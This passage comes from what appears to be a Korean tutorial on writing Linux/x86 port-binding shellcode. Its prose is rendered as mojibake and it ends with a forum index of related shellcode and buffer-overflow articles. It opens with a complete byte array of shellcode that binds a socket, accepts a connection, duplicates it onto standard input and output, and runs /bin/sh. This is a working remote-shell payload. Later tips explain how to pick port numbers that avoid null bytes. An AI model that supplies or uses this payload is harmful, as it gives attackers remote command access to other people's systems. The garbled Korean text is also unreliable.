       "\xcd\x80"                              /* int    $0x80 */
       "\x89\xc2"                              /* mov    %eax,%edx */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x31\xdb"                              /* xor    %ebx,%ebx */
       "\xb0\x66"                              /* mov    $0x66,%al */
       "\xb3\x02"                              /* mov    $0x2,%bl */
       "\x89\x16"                              /* mov    %edx,(%esi) */
       "\x8d\x4e\x10"                          /* lea    0x10(%esi),%ecx*/
       "\x89\x4e\x04"                          /* mov    %ecx,0x4(%esi) */
       "\xc6\x46\x08\x16"                      /* movl   $0x16,0x8(%esi) */
       "\x8d\x0e"                              /* lea    (%esi),%ecx */
       "\xcd\x80"                              /* int    $0x80 */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x31\xdb"                              /* xor    %ebx,%ebx */
       "\xb0\x66"                              /* mov    $0x66,%al */
       "\xb3\x04"                              /* mov    $0x4,%bl */
       "\x89\x16"                              /* mov    %edx,(%esi) */
       "\xc6\x46\x04\x01"                      /* movl   $0x1,0x4(%esi) */
       "\x8d\x0e"                              /* lea    (%esi),%ecx */
       "\xcd\x80"                              /* int    $0x80 */
       "\xeb\x04"                              /* jmp    $0x4 */
       "\xeb\x56"                              /* jmp    $0x56 */
       "\xeb\x4c"                              /* jmp    $0x4c */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x31\xdb"                              /* xor    %ebx,%ebx */
       "\x89\x16"                              /* mov    %edx,(%esi) */
       "\x89\x5e\x04"                          /* mov    %ebx,0x4(%esi) */
       "\x89\x5e\x08"                          /* mov    %ebx,0x8(%esi) */
       "\xb0\x66"                              /* mov    $0x66,%al */
       "\xb3\x05"                              /* mov    $0x5,%bl */
       "\xcd\x80"                              /* int    $0x80 */
       "\x89\xc2"                              /* mov    %eax,%edx */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x31\xc9"                              /* xor    %ecx,%ecx */
       "\x89\xd3"                              /* mov    %edx,%ebx */
       "\xb0\x3f"                              /* mov    $0x3f,%al */
       "\xcd\x80"                              /* int    $0x80 */
       "\x41"                                  /* inc    %ecx */
       "\xb0\x3f"                              /* mov    $0x3f,%al */
       "\xcd\x80"                              /* int    $0x80 */
       "\x41"                                  /* inc    %ecx */
       "\xb0\x3f"                              /* mov    $0x3f,%al */
       "\xcd\x80"                              /* int    $0x80 */
       "\xc7\x06\x2f\x62\x69\x6e"              /* movl   $0x6e69622f,(%esi)*/
       "\xc7\x46\x04\x2f\x73\x68\x2f"          /* movl   $0x2f68732f,0x4(%esi)*/
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x88\x46\x07"                          /* mov    %al,0x7(%esi) */
       "\x89\x76\x08"                          /* mov    %esi,0x8(%esi) */
       "\x89\x46\x0c"                          /* mov    %eax,0xc(%esi) */
       "\xb0\x0b"                              /* mov    $0xb,%al */
       "\x89\xf3"                              /* mov    %esi,%ebx */
       "\x8d\x4e\x08"                          /* lea    0x8(%esi),%ecx */
       "\x8d\x56\x0c"                          /* lea    0xc(%esi),%edx */
       "\xcd\x80"                              /* int    $0x80 */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\xb0\x01"                             /* mov    $0x1,%al */
       "\x31\xdb"                              /* xor    %ebx,%ebx */
       "\xcd\x80"                              /* int    $0x80 */
       "\xe8\x55\xff\xff\xff";                 /* call   _pop */

null ¹ÙÀÌÆ®°¡ Á¦°ÅµÈ ÄÚµåÀ̹ǷΠexploitÀ¸·Î »ç¿ëÇϱ⿡ ¼Õ»öÀÌ ¾ø´Â ±¦ÂúÀº shellcode°¡ µÈ´Ù.


6 Trouble Shootingshellcode¸¦ ÀÛ¼ºÇÒ ¶§ ÁÖÀÇÇÒ °ÍÀº ¹Ýµå½Ã »çÀü¿¡ CPU Ç÷§ÆûÀÇ Æ¯¼ºÀ» ¼÷ÁöÇÏ°í ÀÖ¾î¾ß ÇÑ´Ù. "/bin/sh"¿Í °°Àº ascii Äڵ带 ´Ù·ê ¶§ CPU Ç÷§ÆûÀÌ little-endianÀÎÁö big-endianÀÎÁö È®ÀÎÇÏÁö ¾ÊÀ¸¸é shellcode°¡ Á¦´ë·Î µ¿ÀÛÇÏÁö ¾Ê´Â´Ù.

ÀÌ¿Í ´õºÒ¾î ¼ÒÄÏÀ» openÇÒ ¶§ openÇÏ°íÀÚ ÇÏ´Â port¸¦ ´Ù¸¥ ÇÁ·Î±×·¥ÀÌ »ç¿ëÇÏ°í ÀÖÁö ¾ÊÀºÁöµµ È®ÀÎÇØ¾ß ÇÑ´Ù. ÇÊÀÚÀÇ °æ¿ì óÀ½¿¡ Æ÷Æ® ¹øÈ£ 30464¸¦ ¾²·Á°í Çߴµ¥ ´Ù¸¥ ÇÁ·Î±×·¥¿¡¼­ ÀÌ¹Ì ÀÌ Æ÷Æ®¸¦ »ç¿ëÇÏ°í ÀÖ´ÂÁÙ ¸ð¸£°í shellcode¸¦ ¸¸µé¾ú´Ù°¡ ÇÑÂü °í»ýÀ» Çß´Ù.


[leedw@dasomnetwork]$ netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.184.0:30464         0.0.0.0:*               LISTEN  <----- 30464¹øÀ» ´Ù¸¥ ÇÁ·Î±×·¥¿¡¼­ ¾²°í ÀÖ´Ù.
tcp        0      0 0.0.0.0:49858           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:37635           0.0.0.0:*               LISTEN
           .............

»çÀü¿¡ netstat Ä¿¸Çµå·Î Æ÷Æ®¸¦ È®ÀÎÇؼ­ ¾Æ¹«µµ »ç¿ëÇÏÁö ¾Ê´Â Æ÷Æ®¹øÈ£¸¦ °ñ¶ó¾ß ÇÑ´Ù. À̶§ Æ÷Æ®¹øÈ£¸¦ °í¸¦ ¶© ¾Æ¹«·¸°Ô³ª °í¸£´Â°Ô ¾Æ´Ï°í, Æ÷Æ® ¹øÈ£´Â ±âº»ÀûÀ¸·Î network byte·Î ÀúÀåÀÌ µÇ¹Ç·Î 30464¹ø ó·³ network byte·Î swapÇßÀ» ¶§ ÇÑ ¹ÙÀÌÆ®°¡ ³ª¿À´Â Æ÷Æ® ¹øÈ£¸¦ °ñ¶ó¾ß ÇÑ´Ù. (30464(0x7700)À» network byte·Î swapÇϸé 16¹ÙÀÌÆ® swapÀ̹ǷΠ0x77ÀÌ µÈ´Ù. µû¶ó¼­ ºñ½ÁÇÑ ·ùÀÇ ¹øÈ£·Î ¿¹¸¦ µé¸é 30208(0x7600)À̳ª 29952(0x7500)¹øÀ» °í¸£¸é µÉ °ÍÀÌ´Ù.)

                    ´äº¯/°ü·Ã ¾²±â ¼öÁ¤/»èÁ¦     ÀÌÀü±Û ´ÙÀ½±Û    
¹®¼­¹øÈ£À帣¹®¼­¸íÃâó÷ºÎ
     ÀÌ°÷¿¡¼­´Â ¹öÆÛ¿À¹öÇ÷οì¿Í Æ÷¸Ë½ºÆ®¸µ ¹ö±×¿¡ ´ëÇÑ ¹®¼­µéÀ» Á¦°øÇÕ´Ï´Ù.
91 ¹öÆÛ¿À¹öÇÃ·Î¿ì    ¿À¹öÇÃ·Î¿ì °ø°Ý°ú ¹æ¾î ±èÁøÅà   
90 ½©ÄÚµå    Linux/x86 chroot and standart shellcode Okti  
89 ¹öÆÛ¿À¹öÇÃ·Î¿ì    Àß ¸¸µé¾îÁø ¹öÆÛ¿À¹öÇÃ·Î¿ì ¹®¼­ ¹Ì»ó  
88 ½©ÄÚµå    ³×Æ®¿öÅ© ½©ÄÚµå ¸¸µé±â À̵¿¿ì  
87 ½©ÄÚµå    ¼Ö¶ó¸®½º ¹ÙÀεù ½©ÄÚµå truefinder,  
86 ½©ÄÚµå    bin À» 16Áø¼ö·Î º¯È¯ÇÏ´Â Åø ÇØÄ¿Áî´º½º   
85 ½©ÄÚµå    ½©ÄÚµå »ý¼º±â ÇØÄ¿Áî´º½º   
84 ½©ÄÚµå    FTP ¿ø°Ý ´Ù¿î·Îµå/½ÇÇà ¹ÙÀεù Matt Conover  
83 ½©ÄÚµå    TCP ¹ÙÀεù ½©ÄÚµå Matt Conover   
82 ½©ÄÚµå    Cygnus Win32 À©µµ½© Matt Conover   
81 ½©ÄÚµå    À©µµ¿ë ½©ÄÚµå »ý¼º±â Matt Conover  
80 ½©ÄÚµå    À©µµ¿ë ½©ÄÚµå ¸¸µé±â ÇØÄ¿Áî´º½º  

 
óÀ½ ÀÌÀü ´ÙÀ½       ¸ñ·Ï ¾²±â